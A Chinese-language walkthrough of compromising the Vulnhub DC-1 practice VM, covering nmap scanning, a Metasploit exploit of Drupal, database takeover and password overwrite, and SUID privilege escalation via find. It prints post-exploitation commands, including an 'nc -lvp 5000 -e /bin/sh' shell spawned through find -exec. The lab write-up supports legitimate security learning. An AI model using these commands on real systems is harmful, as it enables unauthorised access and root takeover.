Vulnhub
Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。 新手入门DC-1:下载地址
https://www.vulnhub.com/entry/dc-1-1,292/
环境搭建
攻击机kali IP 192.168.222.201 DC-1 IP 192.168.222.131 我们下载好DC-1之后,将.ova文件导入VMware中,网卡模式设置为NAT,让其自动获取IP,搭建好之后我们是没办法登录进去获取到DC-1的IP,所以我们就可以紧接着进行下面的操作。
信息收集
由于我们并不知道DC-1的IP是什么,所以我们需要通过扫描工具NMAP来进行扫描
代码语言:javascript复制nmap -sP 192.168.222.0/24
来扫描内网内的存活IP。
成功扫描出DC-1的主机IP,下一步我们可以来看这个靶机开启了哪些端口。
代码语言:javascript复制nmap -sV 192.168.222.131
这个是简单的能看出开启的端口号,但并不能看到开启了什么服务
代码语言:javascript复制nmap -A -T4 -p- 192.168.222.131
漏洞利用
我们可以看到在80端口,存在着Drupal的服务,我们可以访问看下。
我们不知道账号和密码,但是知道了这个服务,谷歌一波知道了这个服务版本的RCE漏洞,紧接着我们可以尝试利用下。
初渗透
然后使用MSF进行利用。
使用第四个来打。
输入shell后利用Python来获取到一枚sh.
代码语言:javascript复制python -c "import pty;pty.spawn('/bin/bash')"
ls
后找到flag1.txt,我们查看这个文件。
看到提示是关于cms的,我们应该能找到相关的配置文件。在sites这个文件夹中发现了default文件夹,里面就是我们这个cms的配置文件。
后渗透
我们获取到了数据库的配置文件,所以我们可以连接数据库,看能否在数据库里得到些什么。 使用mysql -u dbuser -p R0ck3t 登录数据库
成功登录!我们接着对数据库进行操作。
查询表名,发现了users表。然后使用查询语句查询表里面的所有。
代码语言:javascript复制select * from users;
发现了两个用户一个是admin、一个是Fred,但是我们看到他们的密码都经过了加密,应该是这个服务专属的加密方式,在scripts/中找到了加密的脚本。
我们可以使用这个加密脚本加密一个铭文,然后再数据库内更新admin的密码,这样我们就可以使用我们加密的明文来进行登录了。 我们按照我们的想法来,第一步先生成一个我们已知的明文密码
第二步,利用mysql来更新admin账户的密码。从而进行登录。
登陆成功,找到flag3!
提示中需要寻找密码、需要-exec命令发现隐藏的部分 再home目录下发现了flag4
根据提示,可以知道最终的flag在root目录下。我们要做的就是要提权。 这里要采用suid提权的方法 学习地址 查找具有root权限的suid
代码语言:javascript复制find / -perm -u=s -type f 2>/dev/null
利用find提权
可以查看下find是否以root权限执行。 命令:
代码语言:javascript复制find /var/www/scripts -exec whoami ;
反弹shell
代码语言:javascript复制find /var/www/scripts -exec nc -lvp 5000 -e /bin/sh ;
总结
练习结束,练习的过程是很好的学习的过程
在这个靶机的练习中,主要的点就是Drupal CMS的历史漏洞以及suid的提权